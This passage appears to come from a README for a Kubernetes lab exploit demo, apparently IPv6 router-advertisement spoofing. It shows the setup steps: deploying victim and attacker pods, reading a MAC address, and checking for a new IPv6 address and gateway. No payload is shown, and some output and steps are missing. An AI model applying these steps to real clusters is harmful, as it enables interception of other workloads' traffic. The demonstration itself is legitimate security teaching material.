Exploit

Deploy a victim Pod

$ kubectl apply -f victim/victim.yml
$  kubectl ge pods
NAME                       READY   STATUS    RESTARTS   AGE
victim-5484d9f977-pgtnh    1/1     Running   0          10s
$ kubectl exec -it victim-5484d9f977-pgtnh -- sh
/ # apk add curl
/ # ip -6 a show eth0
3: eth0@if25: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP

$ curl http://example.com

Deploy an attacker Pod

$ kubectl apply -f attacker/attacker.yml
$ kubectl get pods
NAME                       READY   STATUS    RESTARTS   AGE

/ # ip a show eth0 | grep "link/ether" | awk '{print $2}'
aa:ca:d1:91:8f:23

Acccess to a legitimate web site

Make sure that a new IPv6 address and the default gateway are added.

$ kubectl exec -it victim-5484d9f977-pgtnh -- sh
